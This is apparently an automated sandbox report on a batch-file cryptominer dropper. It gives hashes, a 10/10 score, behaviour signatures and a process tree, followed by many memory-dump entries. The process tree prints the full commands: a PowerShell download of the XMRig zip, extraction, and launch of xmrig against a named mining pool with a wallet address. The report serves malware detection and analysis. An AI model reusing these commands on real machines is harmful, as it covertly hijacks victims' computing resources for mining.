Analysis

  • max time kernel
    1790s
  • max time network
    1795s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 07:21

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4808
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:96
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3632
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4444

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • memory/3632-93-0x000001FA579F0000-0x000001FA579FA000-memory.dmp

    Filesize

    40KB

  • memory/3632-42-0x000001FA57A60000-0x000001FA57A70000-memory.dmp

    Filesize

    64KB

  • memory/3632-41-0x000001FA57A60000-0x000001FA57A70000-memory.dmp

    Filesize

    64KB

  • memory/3632-40-0x00007FFE56860000-0x00007FFE5724C000-memory.dmp

    Filesize

    9.9MB

  • memory/3632-67-0x000001FA57A60000-0x000001FA57A70000-memory.dmp

    Filesize

    64KB

  • memory/3632-117-0x00007FFE56860000-0x00007FFE5724C000-memory.dmp

    Filesize

    9.9MB

  • memory/3632-80-0x000001FA57A20000-0x000001FA57A32000-memory.dmp

    Filesize

    72KB

  • memory/4444-146-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-151-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-188-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-187-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-186-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-185-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-184-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-183-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-182-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-181-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-120-0x0000019BCB220000-0x0000019BCB240000-memory.dmp

    Filesize

    128KB

  • memory/4444-121-0x0000019C5EEA0000-0x0000019C5EEC0000-memory.dmp

    Filesize

    128KB

  • memory/4444-122-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-123-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-125-0x0000019C5F510000-0x0000019C5F530000-memory.dmp

    Filesize

    128KB

  • memory/4444-124-0x0000019C5F2E0000-0x0000019C5F300000-memory.dmp

    Filesize

    128KB

  • memory/4444-148-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-127-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-130-0x0000019C5F510000-0x0000019C5F530000-memory.dmp

    Filesize

    128KB

  • memory/4444-129-0x0000019C5F2E0000-0x0000019C5F300000-memory.dmp

    Filesize

    128KB

  • memory/4444-128-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-131-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-132-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-133-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-150-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-135-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-136-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-137-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-138-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-139-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-140-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-141-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-142-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-143-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-144-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-145-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-180-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-147-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-126-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-179-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-134-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-149-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-152-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-153-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-154-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-155-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-156-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-157-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-158-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-159-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-160-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-161-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-162-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-163-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-164-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-165-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-166-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-167-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-168-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-169-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-170-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-171-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-172-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-173-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-174-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-175-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-176-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-177-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-178-0x00007FF7166F0000-0x00007FF7171F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4808-25-0x00000256B8A80000-0x00000256B8A90000-memory.dmp

    Filesize

    64KB

  • memory/4808-7-0x00000256B8A80000-0x00000256B8A90000-memory.dmp

    Filesize

    64KB

  • memory/4808-10-0x00000256D1300000-0x00000256D1376000-memory.dmp

    Filesize

    472KB

  • memory/4808-6-0x00000256B8A80000-0x00000256B8A90000-memory.dmp

    Filesize

    64KB

  • memory/4808-5-0x00007FFE56860000-0x00007FFE5724C000-memory.dmp

    Filesize

    9.9MB

  • memory/4808-29-0x00000256B8A80000-0x00000256B8A90000-memory.dmp

    Filesize

    64KB

  • memory/4808-28-0x00000256B8A80000-0x00000256B8A90000-memory.dmp

    Filesize

    64KB

  • memory/4808-27-0x00000256B8A80000-0x00000256B8A90000-memory.dmp

    Filesize

    64KB

  • memory/4808-26-0x00007FFE56860000-0x00007FFE5724C000-memory.dmp

    Filesize

    9.9MB

  • memory/4808-4-0x00000256D1150000-0x00000256D1172000-memory.dmp

    Filesize

    136KB

  • memory/4808-34-0x00007FFE56860000-0x00007FFE5724C000-memory.dmp

    Filesize

    9.9MB